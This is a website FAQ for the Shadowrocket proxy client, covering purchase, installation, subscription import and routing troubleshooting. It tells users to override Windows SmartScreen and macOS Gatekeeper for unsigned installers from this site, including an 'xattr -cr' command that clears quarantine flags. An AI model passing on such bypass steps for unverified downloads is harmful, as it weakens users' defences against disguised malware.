Shadowrocket FAQAvailability, Imports & Connection Troubleshooting
First identify where the problem occurs, then open the relevant answer. Installation, subscription content and rule matching are separate steps. Change one condition at a time while troubleshooting, and keep your original configuration.
This page assumes you already have your own subscription or server details. Menu locations may vary by system and platform; English interface labels are kept as shown in the app.
Check where you got the app. Distinguish the client from server access.
How much does Shadowrocket cost? Does buying the app include server access?
The iPhone and iPad version costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android and Linux versions are free. Prices may appear in local currencies; the checkout amount is final. Buying the app is not the same as buying a server plan: the purchase grants access to the client and does not provide a server to connect to. Importing requires your own subscription or server details. This site does not provide, sell or recommend servers or subscriptions.
How can you verify Shadowrocket in the App Store?
On the product page, verify the app name Shadowrocket, developer Shadow Launch Technology Limited, official icon and app ID 932747118; do not rely on the name shown in search results alone. Check the app ID at the end of the product URL and compare the official icon with the one in this site's header. The iPhone and iPad version costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android and Linux versions are free; prices for other platforms do not apply to the App Store listing. Confirm the product details before purchasing or restoring the app.
Can't find Shadowrocket in the App Store? What should you check?
Check the spelling first, then check the store region for the Apple Account currently used for Media & Purchases. The system language and your device's location do not determine the store region. Shadowrocket is not available in the mainland China storefront; use the product page linked here to check availability. The region setting is usually under Settings → Apple Account → Media & Purchases → View Account → Country/Region. If you need to change it, follow Apple's official account process and meet any requirements for account balance, subscriptions and payment details. Avoid repeatedly changing regions after a single unsuccessful search.
Do you need to buy Shadowrocket again after replacing or resetting your iPhone? Can you install it on iPad?
Shadowrocket is available for iPhone and iPad; check the App Store product page for system requirements. After replacing a device or reinstalling, make sure Media & Purchases is signed in to the account used for the original purchase. Then find Shadowrocket under Purchased or in your account's app list in the App Store and download it again; menu names may vary by system version. The iPhone and iPad version costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android and Linux versions are free. Restoring the app does not restore its configuration, so back up subscriptions, rules and server details separately on the old device.
Can you use Shadowrocket on a computer or Android?
Yes. The iPhone and iPad version costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android and Linux versions are free. Mac downloads are available for Apple Silicon and Intel; choose the appropriate package for each other platform as well. Start from this site's download page; computer and Android installers are available only under /dl/shadowrocket/. Your system may show a security warning during installation. Check the installation guidance on this page to verify the source before proceeding. Existing configurations may not transfer completely; check protocol settings and rule files individually.
Check your system and architecture first. Then handle installation and permission prompts.
Which Mac version should you choose: Apple Silicon or Intel?
Open About This Mac from the Apple menu. If it lists a chip and identifies Apple Silicon, choose the Apple Silicon version. If it lists an Intel processor, choose the Intel version. Don't guess based on the Mac's appearance or purchase year. Both downloads are on the download page. If you see “Apple cannot verify the developer” when opening the app for the first time, confirm that the installer came from this site, then go to System Settings → Privacy & Security. Find the blocked app entry, choose “Open Anyway,” and follow the system confirmation prompts.
What should you do if Windows SmartScreen warns you or Mac says the app is damaged?
The installer is not code-signed, so your system may block it the first time you open it. On Windows, first confirm that the file came from this site's download page, then select More info → Run anyway in SmartScreen. Follow your organization's policies on managed devices. If Mac says the app is damaged, verify the source and move the app to Applications. Then run xattr -cr /Applications/Shadowrocket.app in Terminal and try opening it again. If it still doesn't work, download the package for the correct architecture again. Do not disable system security features globally.
What system prompts should you expect when installing on Android or Linux for the first time?
After downloading the Android installer from this site's download page, your system may ask you to allow your current browser or file manager to install unknown apps. Verify the source, grant permission only to the app you're using for this installation, and turn it off afterward if you no longer need it. On Linux, choose deb, rpm or AppImage according to your distribution. AppImage needs execute permission; enable “Allow executing file as program” in the file properties. When using a command, enter the actual downloaded filename. If the installer reports an architecture mismatch or missing dependencies, check your system information first and don't ignore the error to force the installation.
What if the connection switch on Home won't turn on or turns off immediately?
On iPhone or iPad, first make sure a server with complete settings is selected on Home, then turn on the connection switch. The first connection prompts you to allow the system to add a VPN configuration; the device user must approve it. If you dismissed the prompt, try connecting again and check the VPN settings in iOS. Temporarily disable other VPN connections and retry. If the connection still drops immediately, note the error and check the server address, port, authentication details and any device management restrictions. Avoid repeated reinstalls that could erase your existing configuration.
The interface is in English. Which sections should you learn first?
Follow the task flow: Home shows the server list and connection status; Add Server is for entering server details; Subscribe manages existing subscriptions; Config contains configuration files; and Settings contains app settings. Under Global Routing, Config, Proxy and Direct determine how traffic is handled. On Demand controls connections triggered by conditions. This guide keeps the English interface labels so you can match them directly. Layouts vary by device, so check which platform you're using if you can't find a section rather than assuming its location is the same across platforms.
Identify the type of data. Confirm it was retrieved, then check the parsing result.
How do you import an existing subscription? Why doesn't the list change after pasting it?
First make sure you have the full subscription URL for your existing account, not a provider login page, help page or one-time redirect. Add it using the subscription option in Subscribe or Add Server, as appropriate. When pasting, check for leading or trailing spaces, line breaks and missing characters. After saving, wait for the request to finish and check the specific error, if any. A URL opening in a browser does not guarantee that its response is a subscription Shadowrocket can parse. If no items appear, keep the existing list, check the response format and service status, and avoid adding the same URL repeatedly and creating duplicate groups.
A subscription import failed. What should you check, and in what order?
First determine whether the request failed or the response couldn't be parsed. For a timeout or connection failure, check your current network, confirm the URL is complete, and make sure it hasn't expired. If content was retrieved but not recognized, verify that it's a subscription format Shadowrocket accepts, not a web page or error message. An incorrect device clock can also affect HTTPS requests. Ask your service provider to confirm that your existing details are valid, note the exact error, and try again. Subscription URLs may contain credentials; hide the full URL and authentication details in screenshots or support requests.
How do you update a subscription? Why did some servers disappear afterward?
Update the subscription from its management section, wait for the operation to finish, and then check the list under that subscription. Adding the subscription again is not the same as updating it. An update adjusts entries to match the current remote response, so servers that were removed, renamed or changed remotely may no longer appear as before. Before updating, note your current selection and back up any necessary details. Afterward, confirm which server is selected. If the number of entries looks wrong, check for update errors and the group display scope, then ask the source provider to verify the returned content. Don't clear the entire list.
Multiple subscriptions contain duplicate entries. Is it safe to delete everything and import them again?
First check whether the same subscription was added more than once, or whether the same server was saved through both manual import and a subscription update. Review each source under its Subscribe group, then remove only subscriptions or entries confirmed to be unnecessary. Before making changes, note the item currently in use and any important custom settings. Deleting everything removes useful troubleshooting evidence and could erase manually added details that can't be restored from a subscription. Matching names don't guarantee identical settings; compare the address, port and protocol. Keep one clearly identified source and update it when needed.
What's the difference between importing a subscription and importing Config?
Subscriptions are mainly used to retrieve and update server entries. A Config file may contain rules, DNS settings and other options; the two serve different purposes. Importing servers does not mean that rules suitable for your needs are already loaded. Identify the type of data before importing, use the appropriate section, and back up your current configuration. After switching Config, check which file is actually enabled and what it references, not just its filename. Server references, policy names or external resources in a configuration may not match your current setup and could cause some requests to fail.
Keep test conditions consistent. Check the mode, rules and connection one at a time.
How do you choose between Config, Proxy and Direct in Global Routing?
Config handles each request according to the rules in the currently enabled configuration. Use it for everyday routing once you've checked the rules. Proxy sends requests handled by the client through the selected proxy, which can help you compare results when troubleshooting rules. Direct connects requests handled by the client directly, which can help you test your underlying network. Changing modes won't fix incorrect server settings. When troubleshooting, test the same destination one change at a time, then restore your preferred mode. Don't leave a temporary test setting in place as your long-term configuration.
The app says it's connected, but web pages still won't load. What should you do?
A successful connection means the local connection process is established; it doesn't guarantee that the remote server or every destination is reachable. First disconnect and check your basic network, then reconnect and test the same destination. If everything fails, check the selected server's settings, authentication status and service availability. If only some domains fail, check rule matches in Config, DNS resolution and the relevant policies. Temporarily using Proxy for comparison can help identify a routing issue, but it doesn't replace checking the server settings. Note when the error occurs and what kind of destination is affected. Avoid changing DNS, rules and servers at the same time, or it will be hard to identify the cause.
Why aren't my rule changes taking effect?
First confirm that Global Routing is set to Config and that the file you just edited is the one currently enabled. Rules are generally matched from top to bottom, so a broad rule near the top may prevent a more specific rule below it from matching. Check that FINAL is being used as the fallback rule. Also check whether each rule matches a domain or an IP address, and whether its policy name corresponds to a usable action. Save and reload the configuration if needed, then test with a new request. Existing long-lived connections may keep using their previous route, so refreshing the same page alone isn't enough to confirm whether a change worked.
Why is real-world browsing still slow when Connectivity Test shows a low number?
Connectivity Test results apply to a particular test method, destination and point in time; they don't measure the speed of a complete real-world request. DNS, remote server load, the destination website, packet loss and sustained transfers can all affect performance. Low latency doesn't necessarily mean faster large downloads. Keep the network and destination the same while comparing actual load times. If needed, test another server you already have access to. If only certain destinations are slow, check their route using the rules and request records. Don't repeatedly change every protocol setting based on a single test number.
Does leaving the connection on drain more battery? How should you troubleshoot On Demand?
Battery use depends on traffic, network quality, background activity, test frequency and repeated reconnections; connection uptime alone doesn't determine it. Check system battery usage and compare periods with similar usage conditions, then look for ongoing failures and retries. On Demand starts connections when its configured conditions are met; it doesn't guarantee lower battery use. If unexpected reconnections occur, temporarily turn off On Demand and connect manually for comparison, then check each trigger condition. Restore the settings you need after testing. Don't leave intensive tests and detailed logging running for long periods at the same time.